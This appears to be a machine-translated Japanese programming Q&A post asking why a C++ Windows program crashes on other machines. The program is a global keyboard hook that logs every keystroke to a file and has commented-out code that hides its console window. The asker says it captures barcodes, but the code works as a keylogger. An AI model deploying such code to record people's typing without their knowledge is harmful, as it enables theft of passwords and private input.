1

私はこのコードに問題があります: 私は mingw を使用しており、次を使用してコンパイルすると、 g++ helloworld.cpp -o helloworld.exe を使用してコンパイルしたマシンで動作し、問題はまったくありません。しかし、XP Pro などの他のマシンでは、最初の cout 行を実行し、ここでクラッシュします (これはキー ロガーではなくバーコードをキャプチャするためのものです)。

 #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <winuser.h>
    #include <iostream>
    #include <time.h>

    using namespace std;

    HHOOK KBDHOOK;
    KBDLLHOOKSTRUCT kbdStruct;
    int endbarcode = 0;


    int Save (int KS)
    {
    time_t rawtime;
    struct tm * timeinfo;
    char buffer[80];

        if ( (KS == 1) || (KS == 2) )
            return 0;

        FILE *OUTPUT_FILE;
        OUTPUT_FILE = fopen("log.txt", "a+");

        cout << KS << endl;

            if(endbarcode == 0)
            {
         time(&rawtime);
                timeinfo = localtime(&rawtime);
                strftime(buffer,80,"%Y-%m-%d %H:%M:%S ",timeinfo);
                puts(buffer);

                endbarcode = 1;
                fprintf(OUTPUT_FILE, "%s", buffer);
            }

            if (KS == 8)
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
            else if (KS == 13)
            {
                fprintf(OUTPUT_FILE, "%s", "\n");
                endbarcode = 0;
            }

            else if (KS == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
            else if (KS == VK_TAB)
            fprintf(OUTPUT_FILE, "%s", "[TAB]");
                else if (KS == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
                else if (KS == VK_CONTROL)
            fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                    else if (KS == VK_ESCAPE)
            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                    else if (KS == VK_END)
            fprintf(OUTPUT_FILE, "%s", "[END]");
                        else if (KS == VK_HOME)
            fprintf(OUTPUT_FILE, "%s", "[HOME]");
                        else if (KS == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                            else if (KS == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]");
                            else if (KS == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                                else if (KS == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                                else if (KS == 190 || KS == 110)
            fprintf(OUTPUT_FILE, "%s", ".");
                                else
                                    fprintf(OUTPUT_FILE, "%s", &KS);

    fclose (OUTPUT_FILE);
        return 0;
    }

    LRESULT CALLBACK LowLevelKeyboardPoc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        if(nCode < 0)
            return CallNextHookEx(KBDHOOK, 0, wParam, lParam);

            if(nCode == HC_ACTION)
            {
            if(wParam == WM_KEYDOWN)
                {

            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
            Save((unsigned int)kbdStruct.vkCode);
                }

                }


        return CallNextHookEx(KBDHOOK, nCode, wParam, lParam);
    }



    int main()
    {

        cout << "the main method has run" << endl;

       // HWND stelth;
      //  stelth = FindWindowA("ConsoleWindowClass", NULL);
      //  ShowWindow(stelth,0);
    if((KBDHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardPoc, GetModuleHandle(NULL), 0)) == NULL)
         {
             cout << "The hook NOT installed";
         }
         cout << "hook installed" << endl;
        MSG Message;
    while(GetMessage(&Message, NULL, 0, 0))
    {
    TranslateMessage(&Message);
    DispatchMessage(&Message);
    }
    GetLastError();

    UnhookWindowsHookEx(KBDHOOK);
    return 0;
    }
4

0 に答える 0